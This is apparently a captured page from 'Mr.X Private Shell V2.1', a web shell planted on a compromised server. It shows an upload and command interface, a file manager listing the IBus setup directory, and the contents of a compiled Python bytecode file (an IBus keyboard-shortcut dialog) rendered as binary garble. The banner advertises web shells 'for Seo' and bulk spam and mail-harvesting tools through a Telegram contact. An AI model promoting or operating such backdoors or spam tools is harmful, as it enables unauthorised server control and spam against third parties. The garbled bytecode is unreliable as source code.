__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

ƚ�g�7���SrSSKJr SSKJr SSKJr SSKJr SSKJr SSKJrJ	r	 Sr
"S	S
\R5r"SS\R5r\S
:Xa�\"SS9r\"S5\R"R$\"S5\R"R&4r\R+\5 \R-S5 \R/S5 \"\R355 \"\R555 gg))�KeyboardShortcutSelection�KeyboardShortcutSelectionDialog�)�Gdk)�GObject)�Gtk)�IBus)�Pango)�_�N_�c�^�\rSrSrSU4SjjrSrSSjrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrU=r$)r�&c�>�[[U][RR
S9 UR
5 URU5 g)N��orientation)�superr�__init__r�Orientation�VERTICAL�#_KeyboardShortcutSelection__init_ui�
set_shortcuts)�self�	shortcuts�	__class__s  ��)/usr/share/ibus/setup/keyboardshortcut.pyr�"KeyboardShortcutSelection.__init__'s=���
�'��7��O�O�4�4�	8�	6��������9�%�c��[R"[R"[R5S9Ul[R"5n[R"[S5USS9nUR
RU5 UR
RSUR5 [R"5nURR[RR5 UR!S5 UR#UR
5 UR%[R&R(5 UR+USSS5 [R,"[R.R0S	9n[R2"[S
5S9nUR5[R6R85 UR;SS
5 UR+USSS5 [R<"5UlUR>RSUR@5 UR+UR>SSS5 [RB"SS9Ul"URDRSURF5 UR+URDSSS5 UR+USSS5 [R,"[R.R0S	9n[R2"[S5S9nUR5[R6R85 UR;SS
5 UR+USSS5 [RH"SSS9n/Ul%URJRMS[RNRQS5[RRTRV45 URJRMS[RNRQS5[RRTRX45 URJRMS[RNRQS5[RRTRZ45 URJRMSNRQS5[RRTR\45 URJRMS[RNRQS5[RRTR^45 URJRMS[RNRQS 5[RRTR`45 URJH#upxn	URS!URbU5 M% UReURJSS"SS"SS"5 UReURJS"S"S"SSS"5 UReURJSS"SS#SS"5 UReURJS#S"SS"S"S5 UReURJSS"S"SS"S5 UReURJS$S"SS#S"S5 UR+USSS5 UR+USSS5 [R,"[R.R0S	9n[RB"[S%5SS&9Ul3URfRiS5 URfRSURj5 UR+URfSSS5 [RB"[S'5SS&9Ul6URlRiS5 URlRSURn5 UR+URlSSS5 [RB"[S(5SS&9Ul8URpRiS5 URpRSURr5 UR+URpSSS5 UR+USSS5 g))N��modelzKeyboard shortcutsr)�textzcursor-changed�dT�rz	Key code:)�labelgg�?Fznotify::textz...�clickedz
Modifiers:�)�n_rows�	n_columns�Control�_Control�Alt�A_lt�Shift�_Shift�Meta�_Meta�Super�S_uper�Hyper�_Hyper�toggled����_Add)r$�
use_underline�_Apply�_Delete):r�TreeView�	ListStorer�TYPE_STRING�)_KeyboardShortcutSelection__shortcut_view�CellRendererText�TreeViewColumnr
�
append_column�connect�;_KeyboardShortcutSelection__shortcut_view_cursor_changed_cb�ScrolledWindow�
set_policy�
PolicyType�	AUTOMATIC�set_min_content_height�add�set_shadow_type�
ShadowType�IN�
pack_start�Boxr�
HORIZONTAL�Label�set_justify�
Justification�LEFT�
set_alignment�Entry�)_KeyboardShortcutSelection__keycode_entry�3_KeyboardShortcutSelection__keycode_entry_notify_cb�Button�*_KeyboardShortcutSelection__keycode_button�5_KeyboardShortcutSelection__keycode_button_clicked_cb�Table�,_KeyboardShortcutSelection__modifier_buttons�append�CheckButton�new_with_mnemonicr�ModifierType�CONTROL_MASK�	MOD1_MASK�
SHIFT_MASK�	META_MASK�
SUPER_MASK�
HYPER_MASK�6_KeyboardShortcutSelection__modifier_button_toggled_cb�attach�&_KeyboardShortcutSelection__add_button�
set_sensitive�1_KeyboardShortcutSelection__add_button_clicked_cb�(_KeyboardShortcutSelection__apply_button�3_KeyboardShortcutSelection__apply_button_clicked_cb�)_KeyboardShortcutSelection__delete_button�4_KeyboardShortcutSelection__delete_button_clicked_cb)
r�renderer�column�scrolledwindow�hboxr$�table�name�button�masks
          r�	__init_ui�#KeyboardShortcutSelection.__init_ui-s{�� #�|�|��
�
�g�&9�&9�:� <����'�'�)���#�#�A�&:�$;�X�a�P�����*�*�6�2����$�$�%5�t�7]�7]�^��+�+�-���!�!�#�.�.�":�":�C�N�N�<T�<T�U��-�-�c�2����4�/�/�0��&�&�s�~�~�'8�'8�9������d�A�6��w�w�3�?�?�#=�#=�>���	�	�!�K�.�1��
���#�+�+�0�0�1�
���C��%�����u�d�A�.�"�y�y�{������$�$�^�T�5S�5S�T�����,�,�d�D�!�<� #�
�
�5� 9������%�%�i��1Q�1Q�R�����-�-�u�d�A�>�����e�T�1�-��w�w�3�?�?�#=�#=�>���	�	�!�L�/�2��
���#�+�+�0�0�1�
���C��%�����u�d�A�.��	�	�1�!�4��"$������&�&�	�(+���(I�(I�*�(U�(+�(8�(8�(E�(E�(G�	H�	
���&�&��(+���(I�(I�&�(Q�(+�(8�(8�(B�(B�(D�	E�	
���&�&��(+���(I�(I�(�(S�(+�(8�(8�(C�(C�(E�	F�	
���&�&��(+���(I�(I�'�(R�(+�(8�(8�(B�(B�(D�	E�	
���&�&��(+���(I�(I�(�(S�(+�(8�(8�(C�(C�(E�	F�	
���&�&��(+���(I�(I�(�(S�(+�(8�(8�(C�(C�(E�	F�
#'�"9�"9��D�$��N�N�9�d�&G�&G��N�#:�	���T�,�,�Q�/��2�A�q�!�Q�?�
���T�,�,�Q�/��2�A�q�!�Q�?�
���T�,�,�Q�/��2�A�q�!�Q�?�
���T�,�,�Q�/��2�A�q�!�Q�?�
���T�,�,�Q�/��2�A�q�!�Q�?�
���T�,�,�Q�/��2�A�q�!�Q�?�����t�T�1�-�����e�T�1�-��w�w�3�?�?�#=�#=�>���J�J�q��y�7;�=������'�'��.����!�!�)�T�-I�-I�J�����)�)�5�$��:�!�j�j��8��9=�?������)�)�%�0����#�#�I�t�/M�/M�N�����+�+�U�D�!�<�"�z�z�!�I�,�:>� @������*�*�5�1����$�$�Y��0O�0O�P�����,�,�e�T�1�=�����e�T�1�-rc���US:Xa/nURR5nUR5 /nUH3nXC;dM
URS5nXBUS'UR	U5 M5 g�Nr)r@�	get_model�clear�insertr_)rrr �added�shortcut�its      rr�'KeyboardShortcutSelection.set_shortcuts�se������I��$�$�.�.�0��
���
���!�H��$��\�\�!�_��'�b�	�!�����X�&�	"rc�~�URR5nUVs/sHo"SPM	 sn$s snf! /s$=fr})r@r~)rr �is   r�
get_shortcuts�'KeyboardShortcutSelection.get_shortcuts�sA���$�$�.�.�0��	�"'�(�%�Q�a�D�%�(�(��(��	��I�s�6�1�6�6�<c�J�URR5n[U5[:�agXR	5;agURS5nXUS'URRS5 URU5nURRUSS5 g)NrF)
r@r~�len�
MAX_HOTKEYr�r�rkrl�get_path�
set_cursor)rr�r r��paths     r�add_shortcut�&KeyboardShortcutSelection.add_shortcut�s����$�$�.�.�0���u�:�
�"���)�)�+�+��
�\�\�!�_���b�	�!�����'�'��.��~�~�b�!�����'�'��d�E�:rc��/nURR5n[R"U5S:XagURH.up4nUR5(dMUR
U5 M0 URS5(aUSSnSRUVs/sHnSU-S-PM
 sn5nXr-
nU$s snf)Nrr
r6��<�>)	rX�get_textr�keyval_from_namer^�
get_activer_�
startswith�join)r�	modifiers�keycoderwrxry�mr�s        r�__get_shortcut_from_buttons�5KeyboardShortcutSelection.__get_shortcut_from_buttons�s����	��&�&�/�/�1������(�A�-��"&�"9�"9��D�$�� � �"�"�� � ��&�#:����c�"�"��a�b�k�G��7�7�9�=�9�a�C�!�G�c�M�9�=�>��������>s� B?c�0�[R"U5up#US:XaUS:XagURH3upEnX6-(aURS5 M"URS5 M5 URRUR
SS5S5 g)NrTFr�r6���)r�accelerator_parser^�
set_activerX�set_text�rsplit)rr��keyval�staterwrxrys       r�__set_shortcut_to_buttons�3KeyboardShortcutSelection.__set_shortcut_to_buttons�s����/�/��9����Q�;�5�A�:��"&�"9�"9��D�$��|��!�!�$�'��!�!�%�(�	#:�
	
���%�%�h�o�o�c�1�&=�b�&A�Brc��URR5nURR5up#US:XagXR5SS$r})r@r~�
get_cursor�get_indices�rr r�rss    r�__get_selected_shortcut�1KeyboardShortcutSelection.__get_selected_shortcut�sR���$�$�.�.�0���+�+�6�6�8����4�<���%�%�'��*�+�A�.�.rc��URR5nURR5up4XUSS'UR5 gr})r@r~r��8_KeyboardShortcutSelection__update_add_and_apply_buttons)rr�r r�rss     r�__set_selected_shortcut�1KeyboardShortcutSelection.__set_selected_shortcut�sH���$�$�.�.�0���+�+�6�6�8���$�d�1�g��q���+�+�-rc���URR5nURR5up#URUR	U55 UR5 g�N)r@r~r��remove�get_iterr�r�s    r�__del_selected_shortcut�1KeyboardShortcutSelection.__del_selected_shortcut�sM���$�$�.�.�0���+�+�6�6�8���
���U�^�^�D�)�*��+�+�-rc��UR5nUS:wa-URU5 URRS5 gURRS5 g)NTF)�1_KeyboardShortcutSelection__get_selected_shortcut�3_KeyboardShortcutSelection__set_shortcut_to_buttonsrprl)r�treeviewr�s   r�!__shortcut_view_cursor_changed_cb�;KeyboardShortcutSelection.__shortcut_view_cursor_changed_cb�sN���/�/�1���t���*�*�8�4�� � �.�.�t�4�� � �.�.�u�5rc�p�UR5nUR5nUR5nUS:g=(a X;=(a [U5[:nUR
R
U5 X:g=(a US:g=(a US:g=(a X;nURR
U5 gr�)�5_KeyboardShortcutSelection__get_shortcut_from_buttonsr�r�r�r�rkrlrn)rr��selected_shortcutr�can_add�	can_applys      r�__update_add_and_apply_buttons�8KeyboardShortcutSelection.__update_add_and_apply_buttons�s����3�3�5�� �8�8�:���&�&�(�	��d�"�2��+�2��)�n�z�1�	�	
���'�'��0��1�.���$�.�%��-�.��-�	�	
���)�)�)�4rc�$�UR5 gr��r�)rrxrws   r�__modifier_button_toggled_cb�6KeyboardShortcutSelection.__modifier_button_toggled_cb�����+�+�-rc�$�UR5 gr�r�)r�entry�args   r�__keycode_entry_notify_cb�3KeyboardShortcutSelection.__keycode_entry_notify_cb�r�rc�^^�/m[R"UR5[RRS9m[S5nTR
U5 TR[S55 [R"5nUU4Sjn[R"[R[R[R5n[R"US9nURS5 URU5 UR!S5 [R""5n[R$"[R&R(SS	9nUR+S
U5 UR-US5 UR/USS5 UR/US
S5 UR/USS5 UR1U5 UR3S5n	TR55n
U
R7USSS5 UR95 TR;5nTR=5 U[R>R@:wd[CT5S:agTSnTSn
TSnURDH4up�nU
U-(aURGS5 M#URGS5 M6 [RH"SUUU
5nURKSS5nURLROURQSS5S5 g)N)�
transient_for�buttonsz^Please press a key (or a key combination).
The dialog will be closed when the key is released.z)Please press a key (or a key combination)c�>�TRU5 TRU5 TRU5 TR[RR5 gr�)r_�responser�ResponseType�OK)�cr�r�r�r��dlg�outs     ��r�__accel_edited_cb�PKeyboardShortcutSelection.__keycode_button_clicked_cb.<locals>.__accel_edited_cbs?����J�J�v���J�J�u���J�J�w���L�L��)�)�,�,�-rrF�T)�
accel_mode�editablezaccel-editedz
accel-modsrz	accel-keyr6r�r&r7z	<Primary>z	<Control>r�r�))r�
MessageDialog�get_toplevel�ButtonsType�CLOSEr
�
set_markup�	set_titlerFr>r�TYPE_INT�	TYPE_UINTr=�set_headers_visiblerKrJrB�CellRendererAccel�CellRendererAccelMode�OTHERrDrO�
add_attributerCr_�get_message_area�pack_end�show_all�run�destroyr�r�r�r^r��accelerator_name_with_keycode�replacerXr�r�)rrx�message�sw�+_KeyboardShortcutSelection__accel_edited_cbr �
accel_viewrsrrr��area�idr�r�r�rwryr�r�r�s                  @@r�__keycode_button_clicked_cb�5KeyboardShortcutSelection.__keycode_button_clicked_cb�s}���������0A�0A�0C�*-�/�/�*?�*?�A���J�K�����w���
�
�a�C�D�E�
�
�
�
!��	.��
�
�g�.�.�%�/�/�%�/�/�1���\�\�%�0�
��&�&�u�-�
���z��
�!�!�"�%��#�#�%���(�(�C�4M�4M�4S�4S�26�8������):�;����(�D�)����X�|�Q�7����X�{�A�6����X�y�!�4�� � ��(�
�\�\�$�
���#�#�%���
�
�b�$��a�(�
���
�
�W�W�Y�����
�
��!�!�$�$�$��C��1����Q����A����a�&��"&�"9�"9��D�$��t�|��!�!�$�'��!�!�%�(�	#:��4�4�T�5;�5<�5:�<���#�#�K��=�����%�%�h�o�o�c�1�&=�b�&A�Brc�F�UR5nURU5 gr�)r�r��rrxr�s   r�__add_button_clicked_cb�1KeyboardShortcutSelection.__add_button_clicked_cb1s���3�3�5�����(�#rc�F�UR5nURU5 gr�)r��1_KeyboardShortcutSelection__set_selected_shortcutr�s   r�__apply_button_clicked_cb�3KeyboardShortcutSelection.__apply_button_clicked_cb5s���3�3�5���$�$�X�.rc��UR5 URRS5 URRS5 g)NF)�1_KeyboardShortcutSelection__del_selected_shortcutrprlrn)rrxs  r�__delete_button_clicked_cb�4KeyboardShortcutSelection.__delete_button_clicked_cb9s6���$�$�&����*�*�5�1����)�)�%�0r)�__add_button�__apply_button�__delete_button�__keycode_button�__keycode_entry�__modifier_buttons�__shortcut_viewr�)�__name__�
__module__�__qualname__�__firstlineno__rrrr�r�r�r�r�rrrEr�rirYr\rmrorq�__static_attributes__�
__classcell__�rs@rrr&sg���&�`.�D'��
;�
�	C�/�.�.�6�5�.�.�7C�r$�/�1�1rrc�B^�\rSrSrSU4SjjrSSjrSrSrSrU=r	$)	ri>c��>�[[U]XUS9 [5UlUR
R
URSSS5 UR
R5 g)N)�titler��flagsFTr)rrrr�0_KeyboardShortcutSelectionDialog__selection_view�vboxrOr�)rrr�rrs    �rr�(KeyboardShortcutSelectionDialog.__init__?sW���
�-�t�=��e�	>�	M� 9� ;����	�	���T�2�2�E�4��C��	�	���rc�:�URRU5 gr�)rr)r�	shotrcutss  rr�-KeyboardShortcutSelectionDialog.set_shortcutsFs�����+�+�I�6rc�:�URRU5 gr�)rr�)r�shotrcuts  rr��,KeyboardShortcutSelectionDialog.add_shortcutIs�����*�*�8�4rc�6�URR5$r�)rr�)rs rr��-KeyboardShortcutSelectionDialog.get_shortcutsLs���$�$�2�2�4�4r)�__selection_view)NNrr�)
rrrrrrr�r�rrrs@rrr>s����7�5�5�5rr�__main__zSelect test)r�_Cancel�_OKzControl+Shift+spaceN)�__all__�
gi.repositoryrrrrr	�i18nr
rr�rPr�Dialogrrr�r��CANCELr�r��add_buttonsr�r�printr�r��rr�<module>r0s���.��
�!�����
�
�V1����V1�p5�c�j�j�5�&�z��
)�-�
@�C���|�S�-�-�4�4���x��)�)�,�,�.�G��O�O�G�����*�+����d��	�3�7�7�9��	�3���� �r

Filemanager

Name Type Size Permission Actions
emojilang.cpython-313.pyc File 18.18 KB 0644
engineabout.cpython-313.pyc File 6.3 KB 0644
enginecombobox.cpython-313.pyc File 8.88 KB 0644
enginedialog.cpython-313.pyc File 21.88 KB 0644
enginetreeview.cpython-313.pyc File 14.74 KB 0644
i18n.cpython-313.pyc File 2.44 KB 0644
icon.cpython-313.pyc File 2.24 KB 0644
keyboardshortcut.cpython-313.pyc File 21.92 KB 0644
main.cpython-313.pyc File 44.59 KB 0644
Filemanager